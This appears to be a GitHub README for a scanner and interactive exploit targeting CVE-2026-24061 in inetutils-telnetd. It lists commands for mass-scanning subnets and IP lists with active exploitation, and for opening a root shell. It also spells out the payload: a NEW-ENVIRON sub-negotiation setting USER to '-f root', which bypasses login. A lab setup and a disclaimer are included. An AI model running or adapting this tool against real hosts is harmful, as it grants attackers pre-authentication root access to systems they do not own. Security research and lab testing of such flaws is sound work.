furkankayapinar/cve-2026-24061-telnet2rootScanner and interactive exploit for CVE-2026-24061 in inetutils-telnetd, enabling pre-auth root access via crafted NEW-ENVIRON negotiation. Includes multi-threaded scanning and Docker lab.
👨💻 Author: Furkan KAYAPINAR (@FurkanKAYAPINAR)
This repository contains a vulnerability scanner and an interactive exploit for CVE-2026-24061. This vulnerability affects inetutils-telnetd (and potentially other Telnet implementations) through improper handling of the NEW-ENVIRON Telnet option, allowing for remote pre-authentication access using the -f root payload.
--exploit flag for verifying RCE.inetutils-telnetd for safe testing.Ensure you have Python 3.x installed.
git clone https://github.com/FurkanKAYAPINAR/CVE-2026-24061-telnet2root.git
cd CVE-2026-24061-telnet2root
## Usage
Scan targets for the NEW-ENVIRON vulnerability.
# Scan a single target
python3 scanner.py -t 192.168.1.100 -p 1903
# Scan a subnet
python3 scanner.py -s 192.168.1.0/24 -p 1903
# Scan a list of IPs and attempt active exploitation (RCE check)
python3 scanner.py -l ips.txt -p 1903 --exploit
Gain interactive root shell access.
python3 exploit.py -t 127.0.0.1 -p 1903
Deploy a local vulnerable environment for testing:
cd lab
docker-compose up -d --build
The vulnerability is triggered during the Telnet negotiation phase. By responding to the server's DO NEW-ENVIRON request with a specially crafted IS VAR "USER" VALUE "-f root" sub-negotiation packet, the server-side telnetd process is tricked into passing the -f root flag to the login process, bypassing authentication.
[!WARNING]
This tool is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and unethical.